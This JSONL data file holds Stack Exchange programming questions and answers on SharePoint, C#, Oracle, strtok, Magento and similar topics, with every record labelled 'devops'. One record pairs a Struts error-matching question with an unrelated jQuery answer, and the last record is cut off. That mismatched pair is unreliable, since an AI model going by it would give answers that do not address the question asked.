{"id": "hf_ed6695664dd0", "question": "<p>I'm desperately searching for a tool allowing me to copy documents with their old versions from a SharePoint 2003 to a SharePoint 2007 site.<br />\nDo you know about any simple (and preferably free) tool which does this?<br /></p>\n", "question_body": "", "answer": "We recently did a migration from SPS 2003 to MOSS 2007, and I was trying to figure out how to do this. Sadly, there didn't seem to be a great way. What I ended up doing was using a back up of my SPS 2003 content database and a MOSS 2007 VM to do a database attach upgrade of the whole SPS 2003 portal. Then, I used the content migration commands (stsadm -o export, stsadm -o import) to move the lists with all of their versions to the \"real\" MOSS 2007 site collection.\nThis\npage\ngave me the steps for doing the database migration.\nThere are also some nice commands you can potentially use for moving just a list\nhere\n. For the record, the migration commands (e.g. gl-exportlist, gl-importlist) only work between two MOSS 2007 installations.\nI definitely had to try it both with the stsadm extensions and the built-in commands a couple of times before the results were acceptable. The real key was doing the database migration to a VM to get everything into MOSS so I could use those tools.\nI know this seems like a crazy amount of work, but it's the only way I found to get it done without dropping thousands of dollars for something like AvePoint's DocAve Migrators. And it really wasn't\nthat\nbad.\nOne thing to watch out for is that, if you include user security when you do the export and import, you will get a lot of SharePoint groups and users added to your production site collection.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:37.026688"}
{"id": "hf_88a9e7b5049a", "question": "<p>Given the string \"ThisStringHasNoSpacesButItDoesHaveCapitals\" what is the best way to add spaces before the capital letters. So the end string would be \"This String Has No Spaces But It Does Have Capitals\"</p>\n\n<p>Here is my attempt with a RegEx</p>\n\n<pre><code>System.Text.RegularExpressions.Regex.Replace(value, \"[A-Z]\", \" $0\")\n</code></pre>\n", "question_body": "", "answer": "What you have works perfectly.  Just remember to reassign\n```\nvalue\n```\nto the return value of this function.\n```\n```\nvalue = System.Text.RegularExpressions.Regex.Replace(value, \"[A-Z]\", \" $0\");\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:37.050956"}
{"id": "hf_7bbfe57ad9f5", "question": "<p>Below is what I'm trying to achieve. The problem is \"errors\" is not defined. If I remove my match logic, the errors are displayed on the web page. Is there anyway of evaluating the text the error contains?</p>\n\n<pre><code>&lt;logic:messagesPresent&gt;\n    &lt;tr&gt;\n        &lt;td class=\"errorcicon\"&gt;&lt;img src=\"images/icon_caution.gif\" width=\"18\" height=\"18\" alt=\"Caution\" /&gt;&lt;/td&gt;\n        &lt;td&gt;&lt;/td&gt;\n        &lt;td colspan=\"4\"&gt;&lt;html:errors /&gt;&lt;/td&gt;\n    &lt;/tr&gt;\n&lt;/logic:messagesPresent&gt;\n\n\n&lt;logic:match name=\"errors\" property=\"text\" value=\"Service Start date is required\" &gt;\n    &lt;% pageContext.setAttribute(\"NOORIGIONALSERVICEDATE\", \"-1\");%&gt;\n&lt;/logic:match&gt;\n</code></pre>\n", "question_body": "", "answer": "Have you tried the .siblings() method?\n```\n```\n$(this).siblings('img.expander').attr('src','img/content/info-close.gif');\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:37.085910"}
{"id": "hf_bfc48e5c79bd", "question": "<p>Do I really have to learn Objective-C to develop solid Mac Apps?</p>\n\n<p>As Mac users tend to use only applications that have a nice (native) GUI, i don't think that Mono and GTK+ or any Java GUI (Swing) will fit their needs.</p>\n\n<p>There are projects like Cocoa#, PyObjC and RubyCocoa, but are they ready for primetime?</p>\n\n<p>So do I really have to learn Objective-C ? \nI would prefer a dynamic language.</p>\n", "question_body": "", "answer": "Objective-C\nis\na dynamic language, as far as the Objective-C parts go.  Here's a little summary article:\nhttp://www.macdevcenter.com/pub/a/mac/2003/04/28/objective-c.html\nThe syntax is scary at first, but it grows on you.  I suggest biting the bullet and slogging through it.\nIf you want to work at a \"real job\" doing Mac programming with other people, you're going to need to know Objective-C (in my opinion, anyway).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:37.157047"}
{"id": "hf_f1cb10a7ba95", "question": "<p>Is there any way of pulling in a CSS stylesheet into FireFox 2 or 3 that is not a static file?   </p>\n\n<p>Bellow is the code we are using to pull in a stylesheet dynamically generated by a CGI script.</p>\n\n<pre><code>&lt;link rel=\"stylesheet\" href=\"/cgi-bin/Xebra?ShowIt&amp;s=LH4X6I2l4fSYwf4pky4k&amp;shw=795430-0&amp;path=customer/DEMO/demo1.css\" type=\"text/css\"&gt;\n</code></pre>\n\n<p>/cgi-bin/Xebra?ShowIt&amp;s=LH4X6I2l4fSYwf4pky4k&amp;shw=795430-0&amp;path=customer/DEMO/demo1.css</p>\n\n<p><strong>Note that the URL above that pulls in the CSS does not end with .css rather the parameters do.</strong></p>\n", "question_body": "", "answer": "Is the Content Type from the server the correct one for the file that is served up?\n```\n```\nContent-type: text/css\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:37.305550"}
{"id": "hf_6d231d63c990", "question": "<p>I've created a c# webservice that allows our front end support teams to view and update a few selected Active Directory values using system.directoryservices</p>\n\n<p>Fields that I want to update are [job] title, department, telephone and employeeid.</p>\n\n<p>I can use a service account with \"delegates rights\" to update [job] title, department, telephone etc. but when I try to update employeeid I get an \"not authorised\" error message.</p>\n\n<p>If I use a domain admin account then the same code works fine.</p>\n\n<p>I don't want to use a domain admin account for this webservice, so what privileges do I need?</p>\n", "question_body": "", "answer": "A sample of the code (the moving parts at least)\n```\n```\nstring distinguishedname = \"CN=Wicks\\, Guy,OU=Users,DC=ad,DC=com\"\nusing (DirectoryEntry myDirectoryEntry = new DirectoryEntry(string.Format(\"LDAP://{0}\", distinguishedname), null, null, AuthenticationTypes.Secure))\n{\n    try\n    {\n        myDirectoryEntry.Username   = \"serviceaccount\";\n        myDirectoryEntry.Password   = \"pa55word\";\n\n        myDirectoryEntry.Properties[\"employeeid\"][0]    = employeeID;\n        myDirectoryEntry.CommitChanges();\n        setresult.result        = myDirectoryEntry.Properties[\"employeeid\"][0].ToString();\n    }\n    catch   ( Exception ex )\n    {\n        setresult.result        = ex.Message;\n    }\n} // end using\n```\n```\n(I do apologise for my c#)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:37.377002"}
{"id": "hf_9ef9737f3f3c", "question": "<p>My company uses StarTeam for source control and CR management, but I would really like to switch to Subversion for source control.  For those of you that know ClearQuest and ClearCase, StarTeam has the ability to create tickets, which can later be associated with code changes.</p>\n\n<p>Are there any similar products that integrate nicely with Subversion (preferably free, but I'm not necessarily against the idea of a commercial app)?  I played around with <a href=\"http://trac.edgewall.org/\" rel=\"noreferrer\">trac</a> a while back, but I wasn't overly impressed with it.</p>\n", "question_body": "", "answer": "Jira\nintegrates well, with a little effort, with Subversion.\nUsing\nBamboo\ntogether with Subversion and\nJira\ncan help integrate your whole release management cycle - See\nA good strategy for implementing a versioning system", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:37.413793"}
{"id": "hf_e96aeea8d9e1", "question": "<p>I have a NotifyIcon control that appears in the system tray.  How can I find the location (x, y) of the icon on the screen?</p>\n\n<p>Thanks</p>\n", "question_body": "", "answer": "You can't.  It isn't hard to get the window handle for the system tray, GetClassName() returns \"ToolbarWindow32\", the class name of the standard TOOLBAR common control.  Beware that a 64-bit OS has two of them.  Then you can send messages to it like TB_GETBUTTONINFO.  Chief hang-ups are that you won't know what button ID to choose and the returned info does not include the button position.\nWhich is for the better, buttons move around without you being able to lock them.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:37.437458"}
{"id": "hf_89417244cdc4", "question": "<p>There are several similar Oracle technologies - Oracle Streams, Oracle Change Data Capture and Database Change Notification. </p>\n\n<p>What are the differences between these? </p>\n\n<p>Are they related to Oracle Advanced Queueing?</p>\n", "question_body": "", "answer": "Oracle CDC is all about capturing changes in DB tables and the changes are stored in special Oracle tables. There are two modes of CDC operation: asynchronous (based on Java) or synchronous (based on DB triggers, more performance overhead).\nOracle Streams sits on top of Oracle CDC and it's a full transport mechanism (over e.g. HTTP) for data synchronization between 2 servers. It's based on Oracle Advanced Queues technology and it's designed for high performance and reliability.\nBoth Oracle CDC and Streams are generally used for data synchronization between Oracle DB servers... With Oracle CDC, you don't have to use Oracle Streams for, e.g. you could write your own data export routines which create flat files for the purpose of synchronization between 2 DB servers, whereas with Streams you must have a network link between the 2 servers.\nDatabase Change Notification is something else again, it's not used for server-to-server synch but instead more for server notification of resultset changes to clients, mostly in the context of data caches on the client side.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:37.461332"}
{"id": "hf_60f02cf5284b", "question": "<p>I have a delphi (Win32) web application that can run either as a CGI app, ISAPI or Apache DLL. I want to be able to generate a unique filename prefix (unique for all current requests at a given moment), and figure that the best way to do this would be to use processID (to handle CGI mode) as well as threadID (to handle dll mode).</p>\n\n<p>How would I get a unique Process ID and Thread ID in Delphi?</p>\n\n<p>Will these be unique in a Multi-Core/Multi-Processor situation (on a single webserver machine)?</p>\n\n<p><em>Edit: please note that I was advised against this approach, and thus the accepted answer uses a different method to generate temporary filenames</em></p>\n", "question_body": "", "answer": "Could you not use a\nGUID\ninstead?\nEdit: Should have said first time around, check out the following two functions\n```\n```\nCreateGuid\nGuidToString\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:37.484791"}
{"id": "hf_f01513d4ca5f", "question": "<p>I'm not that familiar with WCF, but I thought I'll learn while trying to consume an existing service.</p>\n\n<p>One of the REST APIs I thought of was the <a href=\"http://apiwiki.twitter.com/REST+API+Documentation\" rel=\"noreferrer\">Twitter API</a>. I thought of developing a WPF client that will just output to the screen the last 5 tweets by a certain Twitter user.</p>\n\n<p>I was wondering if someone could please briefly outline the steps I need to take in Visual Studio to consume these services, using WCF (classes, wizards, proxies etc.).I already know how to just call them using a web request and parse the XML that returns - I really want to see the WCF part at work.</p>\n\n<p>Thanks in advance to anyoine who helps further my education :)</p>\n", "question_body": "", "answer": "There is no benefit to using WCF to consume an Http based API like the Twitter API.  System.Net.HttpWebRequest is more than sufficient.  In fact I suspect that you will have some difficulty.  WCF is much easier to get working when you have WCF at both ends of the wire.\nHowever, if the REST API is returning Atom content then you could using the System.ServiceModel.Syndication classes to help parse the response.\nEDIT:\nSince I wrote this post Microsoft released a preview of a new HTTP client library that does an even better job of consuming RESTful services.\nHere is how you would use it to POST to twitter:\n```\n```\nvar client = new HttpClient();\nclient.DefaultHeaders.Authorization = Credential.CreateBasic(\"username\",\"password\");\nvar form = new HttpUrlEncodedForm();\nform.Add(\"status\",\"Test tweet using Microsoft.Http.HttpClient\");\nvar content = HttpContent.Create(form);\nvar resp = client.Post(\"http://www.twitter.com/statuses/update.xml\", content);\n```\n```\nIf you want more more details on this client library,  I am in the process of writing some blog posts about it\nhere\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:37.508093"}
{"id": "hf_df95882aeb26", "question": "<p>Is there a (portable) way to rotate text in a HTML table cell by 90°?</p>\n\n<p>(I have a table with many columns and much text for the headings, so I'd like to write it vertically to save space.)</p>\n", "question_body": "", "answer": "Alternate Solution?\nInstead of rotating the text, would it work to have it written \"top to bottom?\"\nLike this:\n```\n```\nS  \nO  \nM  \nE  \n\nT  \nE  \nX  \nT\n```\n```\nI think that would be a lot easier - you can pick a string of text apart and insert a line break after each character.\nThis could be done via JavaScript in the browser like this:\n```\n```\n\"SOME TEXT\".split(\"\").join(\"\\n\")\n```\n```\n... or you could do it server-side, so it wouldn't depend on the client's JS capabilities. (I assume that's what you mean by \"portable?\")\nAlso the user doesn't have to turn his/her head sideways to read it. :)\nUpdate\nThis thread\nis about doing this with jQuery.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:37.544059"}
{"id": "hf_8665d07829d4", "question": "<p>Does anyone know how I can get a list of products belonging to a specific category from within a view file in <a href=\"http://www.magentocommerce.com/\" rel=\"noreferrer\">Magento</a>?</p>\n", "question_body": "", "answer": "It all depends on which view you're in. ;-)\nFirst off, I hope you stayed within your template set (default in my example).\nUse this as an\nexample\n:\n```\n```\n<?php\n$_cat         = $this->getCurrentCategory();\n$_parent      = $_cat->getParentCategory();\n$_categories  = $_parent->getChildren();\n\n/* @var $category Mage_Catalog_Model_Category */\n$collection = Mage::getModel('catalog/category')->getCollection();\n/* @var $collection Mage_Catalog_Model_Resource_Eav_Mysql4_Category_Collection */\n$collection->addAttributeToSelect('url_key')\n    ->addAttributeToSelect('name')\n    ->addAttributeToSelect('is_anchor')\n    ->addAttributeToFilter('is_active', 1)\n    ->addIdFilter($_categories)\n    ->setOrder('position', 'ASC')\n    ->joinUrlRewrite()\n    ->load();\n\n$productCollection = Mage::getResourceModel('catalog/product_collection');\n$layer             = Mage::getSingleton('catalog/layer');\n$layer->prepareProductCollection($productCollection);\n$productCollection->addCountToCategories($collection);\n// $productCollection should be ready here ;-)\n?>\n```\n```\nI'm using the above code to display sister categories in my template - it's not ideal but it works.\nIt's sort of a hack because I did not yet have time to learn all the layout XML madness. Otherwise if you use the XMLs you need to keep in mind - it all depends on where you are at.\nWhere\nmeans the template file and essentially also the layout (in terms of app/design/frontend/default/default/layout/*).\nI know it's not much, but I hope it helps to get you started.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:37.603354"}
{"id": "hf_a1c010b45db9", "question": "<p>What is the best way to get the application name (i.e MyApplication.exe) of the executing assembly from a referenced class library in C#?</p>\n\n<p>I need to open the application's app.config to retrieve some appSettings variables for the referenced DLL.</p>\n", "question_body": "", "answer": "To get the answer to the question title:\n```\n```\n// Full-name, e.g. MyApplication, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null\nstring exeAssembly = Assembly.GetEntryAssembly().FullName;\n\n// or just the \"assembly name\" part (e.g. \"MyApplication\")\nstring exeAssemblyName = Assembly.GetEntryAssembly().GetName().Name;\n```\n```\nAs mentioned by @Ben, since you mention wanting to get the configuration information, use the\n```\nConfigurationManager\n```\nclass.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:37.627088"}
{"id": "hf_21b1e30ef758", "question": "<p>Is there a better way to keep the domain name unaltered in the adress bar besides using a main frame?</p>\n", "question_body": "", "answer": "You can use AJAX to change the content of the page without changing the address.\nHowever, if the data is located on another domain then the address should change to point to that domain.  Also, it is recommended that the address can be bookmarked so user's can easily return to the data.  The address should reflect the content of the resource it points to.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:37.677173"}
{"id": "hf_1b820fe8513c", "question": "<p>I thought that it would be fun to present some classic CS problems and let people show their algorithm optimization skills. The hope is that we get to see some clever techniques to solve abstract problems that we may be able to implement in practice.</p>\n\n<p>Ideally solutions would be presented in pseudo code with a big O classification. Proof of that classification is gravy. On to the problem:</p>\n\n<p>There are N closed lockers and N students present. The first student opens each locker. The second student opens or closes every second locker. This continues where the nth student opens and closes every nth locker. After N students what lockers are open? How many lockers are open?</p>\n", "question_body": "", "answer": "Students will only flip the state of those lockers that their number is a divisor of (student 2 flips the even lockers, student 3 flips the lockers divisible by 3, so on and so forth...).  So, the only lockers that will remain open after N rounds are those that have an odd number of divisors (because they start closed, an odd number of flips will leave it open).  The only numbers that have an odd number of divisors are perfect squares, so all of the perfect-square-numbered lockers will be left open.  So after N rounds, the number of lockers left open will be the square root (floored) of N.\nThis solution would be O(sqrt(N)) to know\nexactly which\nlockers are open, but O(1) if you only need to know\nhow many\nlockers are open.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:37.700056"}
{"id": "hf_a3a650368fa6", "question": "<blockquote>\n  <p>char *strtok(char *s1, const char *s2)</p>\n  \n  <p>repeated calls to this function break string s1 into \"tokens\"--that is\n  the string is broken into substrings,\n  each terminating with a '\\0', where\n  the '\\0' replaces any characters\n  contained in string s2. The first call\n  uses the string to be tokenized as s1;\n  subsequent calls use NULL as the first\n  argument. A pointer to the beginning\n  of the current token is returned; NULL\n  is returned if there are no more\n  tokens.</p>\n</blockquote>\n\n<p>Hi, </p>\n\n<p>I have been trying to use <code>strtok</code> just now and found out that if I pass in a <code>char*</code> into <code>s1</code>, I get a segmentation fault. If I pass in a <code>char[]</code>, <code>strtok</code> works fine. </p>\n\n<p>Why is this?</p>\n\n<p>I googled around and the reason seems to be something about how <code>char*</code> is read only and <code>char[]</code> is writeable. A more thorough explanation would be much appreciated.</p>\n", "question_body": "", "answer": "What did you initialize the\n```\nchar *\n```\nto?\nIf something like\n```\n```\nchar *text = \"foobar\";\n```\n```\nthen you have a pointer to some read-only characters\nFor\n```\n```\nchar text[7] = \"foobar\";\n```\n```\nthen you have a seven element array of characters that you can do what you like with.\n```\nstrtok\n```\nwrites into the string you give it - overwriting the separator character with\n```\nnull\n```\nand keeping a pointer to the rest of the string.\nHence, if you pass it a read-only string, it will attempt to write to it, and you get a segfault.\nAlso, becasue\n```\nstrtok\n```\nkeeps a reference to the rest of the string, it's not reeentrant - you can use it only on one string at a time. It's best avoided, really - consider strsep(3) instead - see, for example, here:\nhttp://www.rt.com/man/strsep.3.html\n(although that still writes into the string so has the same read-only/segfault issue)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:37.722252"}
{"id": "hf_fb4aab638c03", "question": "<p>I've got a iSeries to .Net compact framework project.  It includes rgple programs exposed as web services and a Windows mobile app that uses the webservices.  Each iSeries program has a specific webservice wrapper and the .net app reference each.  I would like to come up with a more generic messaging service using XML. </p>\n\n<p>I am fairly familiar with procesing XML in .Net.  But have no experience with XML on the iSeries.  What iSeries XML tools would you recommend?  And how best to get started/learn XML processing on the iSeries?</p>\n", "question_body": "", "answer": "IBM provides the\nXML Toolkit for IBM System i5\n.\nYou can also run Java which has an\nXML parser\n.\nRPG also has some\nsupport for XML\nbuilt into the langage.\nYou can get started by reading the IBM documentation at those links.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:37.741068"}
{"id": "hf_b802128cd31a", "question": "<p>Can anyone explain why following code won't compile? At least on g++ 4.2.4.</p>\n\n<p>And more interesting, why it will compile when I cast MEMBER to int?</p>\n\n<pre><code>#include &lt;vector&gt;\n\nclass Foo {  \npublic:  \n    static const int MEMBER = 1;  \n};\n\nint main(){  \n    vector&lt;int&gt; v;  \n    v.push_back( Foo::MEMBER );       // undefined reference to `Foo::MEMBER'\n    v.push_back( (int) Foo::MEMBER ); // OK  \n    return 0;\n}\n</code></pre>\n", "question_body": "", "answer": "You need to actually define the static member somewhere (after the class definition).  Try this:\n```\n```\nclass Foo { /* ... */ };\n\nconst int Foo::MEMBER;\n\nint main() { /* ... */ }\n```\n```\nThat should get rid of the undefined reference.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:37.777516"}
{"id": "hf_489f4b550562", "question": "<p>I'm trying to install RSpec as a gem after having it installed as a plugin.  I've gone ahead and followed the directions found here <a href=\"http://github.com/dchelimsky/rspec-rails/wikis\" rel=\"noreferrer\">http://github.com/dchelimsky/rspec-rails/wikis</a> for the section titled <strong>rspec and rspec-rails gems</strong>.  When I run <code>ruby script/generate rspec</code>, I get the error <code>Couldn't find 'rspec' generator</code>.  Do only the plugins work?  If so, why do they even offer the gems for rspec and rspec-rails?  I'm running a frozen copy of Rails 2.1.2, and the version of rpsec and rspec-rails I'm using is the newest for today (Nov 7, 2008) 1.1.11.</p>\n\n<p>EDIT Nov 12, 2008\nI have both the rspec and rspec-rails gems installed. I've unpacked the gems into the vender/gems folder. Both are version 1.1.11.</p>\n", "question_body": "", "answer": "Is there supposed to be an 'rspec' generator?  I've only used the following:\n```\n```\nscript/generate rspec_model mymodel\nscript/generate rspec_controller mycontroller\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:37.798053"}
{"id": "hf_828e4653e485", "question": "<p>When does java let go of a connections to a URL? I don't see a close() method on either URL or URLConnection so does it free up the connection as soon as the request finishes? I'm mainly asking to see if I need to do any clean up in an exception handler.</p>\n\n<pre><code>try {\n  URL url = new URL(\"http://foo.bar\");\n  URLConnection conn = url.openConnection();\n  // use the connection\n}\ncatch (Exception e) {\n  // any clean up here?\n}\n</code></pre>\n", "question_body": "", "answer": "It depends on the specific protocol specified in the protocol. Some maintain persistent connections, other close their connections when your call close in the input or outputstream given by the connection. But other than remembering to closing the streams you opened from the URLConnection, there is nothing else you can do.\nFrom the javadoc for java.net.URLConnection\nInvoking the close() methods on the\n  InputStream or OutputStream of an\n  URLConnection after a request may free\n  network resources associated with this\n  instance, unless particular protocol\n  specifications specify different\n  behaviours for it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:37.821038"}
{"id": "hf_ecb90664a123", "question": "<p>I have a pseudo-realtime data processing application where I would like to use <code>LazyInit&lt;double&gt;</code> so I don't do calculations I don't need, but <code>LazyInit&lt;T&gt;</code> restricts  T to classes.  I can work around it, but I'd obviously prefer not to.</p>\n\n<p>Does anybody know why this is?</p>\n", "question_body": "", "answer": "I believe it is because value types are automatically initialized and LazyInit determines if something needs initializing based on if it is null or not. You can get around it by using nullable types.\n```\n```\nLazyInit<double?>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:37.851292"}
{"id": "hf_5a9afa3640b4", "question": "<p>I've done development in both VB6 and VB.NET, and I've used ADODB objects in VB6 to handle recordset navigation (i.e. the MoveFirst, MoveNext, etc. methods), and I have used ADO.NET to handle queries in a row-by-row nature (i.e For Each Row In Table.Rows ...)</p>\n\n<p>But now I seem to have come to a dilemma.  I am now building a program in VB.NET where I need to use the equivalent functionality of the Move commands of the old Recordset object.  Does VB.NET have some sort of object that supports this functionality, or do I have to resort to using the old ADODB COM object?</p>\n\n<p>Edit: Just for clarification, I want the user to be able to navigate through the query moving forwards or backwards.  Looping through the rows is a simple task.</p>\n", "question_body": "", "answer": "In .Net, there are many ways to do this. One that I like is to use a DataReader, which can return multiple recordsets. You can loop through its records using While DataReader.Read.\nOne of the advantages of using DataReader is that it is a forward-only, read-only object, so it's fast and light-weight.\nTo allow the user to navigate through all of the records, one at a time, you do not want to hold a DataReader open while the user navigates. you can read the DataReader records into objects. Or, you can retrieve the records into a DataSet, and display the DataRows from the DataTable one at a time.\nI would suggest that, if possible, you retrieve all of the records at once if there are not too many. This will save repeated calls to the database.\nOn the other hand, if there are a lot of records, you could retrieve the first few (say, 10 or 20) and only retrieve the next set of records with a new database call if the user clicks beyond the initial set. This is lazy loading.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:37.881341"}
{"id": "hf_f4cba80eccd5", "question": "<p>We are currently using unit tests to test our project.  We have the majority of functionality covered but I think our tests are too brittle.  </p>\n\n<p>I was wondering if there are any specific things we can be doing to make the unit tests more flexible so they don't break for the wrong reasons.</p>\n\n<p>A couple answers have mentioned being careful of mocking too much... So what are legitimate reasons for mocking?  I think that may be one of our main problems, but when your application is mostly a dynamic, database-driven site, how do you get away from mocking?</p>\n", "question_body": "", "answer": "This is a somewhat simplistic answer, but shows the right mindset:\nA test should break if the behaviour changes in a way that you care about.\nA test should continue to work if the behaviour changes in a way that you don't care about.\nSo as far as is possible - without going\nhugely\nout of your way - make sure you're testing the \"end result\" of the method without caring how it got there. One thing to watch  out for is mocking - it's incredibly useful, but can easily make your tests brittle.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:37.900253"}
{"id": "hf_37a6a2db424b", "question": "<p>It seems that all of the documentation I can find about OpenGL-ES says something to the effect of \"OpenGL-ES is just like OpenGL, but without a lot of stuff.  For example, there's no glBegin or glEnd.\"</p>\n\n<p>Ok, that's great.  So, what ELSE isn't there any of?  Or is there a list of what's <em>in</em>?  Or maybe a porting guide?</p>\n\n<p>(Specifically, I'm trying to move an existing GL app to the iPhone, although I don't want to necessarily limit my Q to the iPhone.)</p>\n", "question_body": "", "answer": "The\n\"OpenGL ES 1.1.12 Difference Specification\"\n(PDF) linked to from\nthe OpenGL ES 1.X info page at Khronos.org\ngoes through the differences between OpenGL ES 1.X and OpenGL 1.5.  OpenGL ES 1.1 is the version used on the iPhone.\nThe difference specification is not the simplest document I've ever seen, but it is easier reading than the OpenGL specs in general.  I recommend getting a list of OpenGL functions you call and then searching through the difference document for them.  It will show you if they are supported in OpenGL ES, and if support is only partial you can go to the full spec for more information.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:37.941108"}
{"id": "hf_7491b7a5aa19", "question": "<p>I have a rails template (.rhtml file) generating a Javascript object. It looks something like the following:</p>\n\n<pre><code>var volumes = {\n  &lt;% for volume in @volumes %&gt;\n    &lt;%= volume.id %&gt; : &lt;%= volume.data %&gt; \n    &lt;%= ',' unless volume === @volumes.last %&gt;\n  &lt;% end %&gt;\n};\n</code></pre>\n\n<p>Note the <code>unless</code> statement modifier to suppress printing the comma after the last element (to satisfy Internet Explorer, which incredibly doesn't support trailing commas in JSON properties declarations).</p>\n\n<p>This appears to work, but as a matter of style, do people think it is reasonable to rely on <code>&lt;%= value unless condition %&gt;</code> in the template generating an appropriate <code>render</code> call?</p>\n", "question_body": "", "answer": "I don't see why not, but generally if you find yourself conditionalizing a comma on the last member, you probably want to use\n```\njoin\n```\ninstead:\n```\n```\n<%= @volumes.map {|v| \"#{v.id} : #{v.data}\"}.join \",\" %>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": 